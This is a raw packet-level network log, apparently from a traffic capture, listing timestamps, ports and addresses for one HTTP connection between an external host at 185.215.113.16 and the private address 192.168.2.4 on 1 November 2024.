Nov 1, 2024 08:50:21.129909039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129920959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129931927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129956007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129956961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.129959106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.129991055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130001068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130034924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130052090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130053043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130069017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130079985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130168915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130168915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130183935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130194902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130259037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130270004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130269051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130295038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130306005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130316973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130320072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130326986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130348921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130348921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130351067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130362034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130373001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130383015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130412102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130434990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130445957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130458117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130467892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130500078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130523920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130544901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130567074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130578041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130588055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130616903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130647898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130651951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130676985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130688906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130702019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130714893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130717993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130726099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130736113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130739927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130775928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130788088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130796909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130803108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130821943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130841017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130880117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130897045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130908012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130918980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130938053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130949974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130960941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130970955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.130985975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130985975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.130987883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.131000996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.131031990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.131043911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.131053925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.131088972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.131174088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134347916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134433031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134449959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134469032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134493113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134504080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134514093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134526014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134532928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134550095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134556055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134556055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134560108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134571075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134582996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134593964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134618044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134629965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134639025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134649992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134661913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134685993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134685993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134685993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134685993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134706974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134731054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134742022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134752035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134752989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134763956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134773970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134785891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134794950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134805918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134815931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134835958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134835958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134845018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134902954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134917021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134929895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134951115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134962082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134973049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134982109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.134990931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.134990931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135020971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135057926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135068893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135081053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135091066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135102987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135133982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135133982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135181904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135222912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135234118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135307074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135324001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135334015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135364056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135364056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135426998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135437965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135447979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135464907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135478020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135482073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135488987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135499954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135509968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135519981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135520935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135530949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135557890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135581017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135652065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135662079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135688066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135694027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135699987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135710001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135720968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135746002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135752916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135759115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135767937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135768890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135778904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135790110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135816097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135839939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135848999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135858059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135869026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135876894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135876894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135880947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135891914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.135926962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.135926962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136022091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136042118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136058092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136069059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136080027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136105061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136106014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136116982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136126041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136140108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136152029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136152029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136154890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136178017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136192083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136202097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136213064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136224031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136234045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136250019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136250973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136265993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136276960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136286974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136291027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136297941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136311054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136318922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136320114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136320114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136328936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136341095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136348963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136359930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136362076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136389017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136396885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136400938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136411905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136425018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136435986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136445999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136457920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136459112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136460066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136470079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136480093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136506081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136506081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136516094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136527061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136537075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136548042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136548996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136562109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136578083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136616945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136635065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136646986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136656046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136667013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136677980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136678934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136698961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136715889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136718035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136727095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136737108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136749029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136749983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136768103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136770964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136785030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136786938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136795998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136807919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136820078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136831045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136841059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136862040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136879921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136879921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136879921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136879921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136892080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136904001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136912107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136920929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136929989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.136938095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.136965036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.138894081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248495102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248528004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248547077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248560905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248594999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248603106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248621941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248634100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248656988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248656988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248684883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248697042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248707056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248737097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248749018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248768091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248773098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248826981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248840094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248845100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248867989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248879910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248886108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248892069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248919964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.248967886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.248991966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249005079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249017000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249028921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249038935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249038935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249041080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249058008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249089003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249098063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249110937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249119997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249131918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249141932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249155045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249166965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249180079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249195099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249195099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249233961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249244928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249254942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249265909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249278069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249290943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249320030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249320030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249320030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249326944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249350071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249361992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249370098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249372959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249408007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249417067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249419928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249430895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249443054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249455929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249464035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249468088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.249475002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.249488115 CET	80	49738	185.215.113.16	192.168.2.4
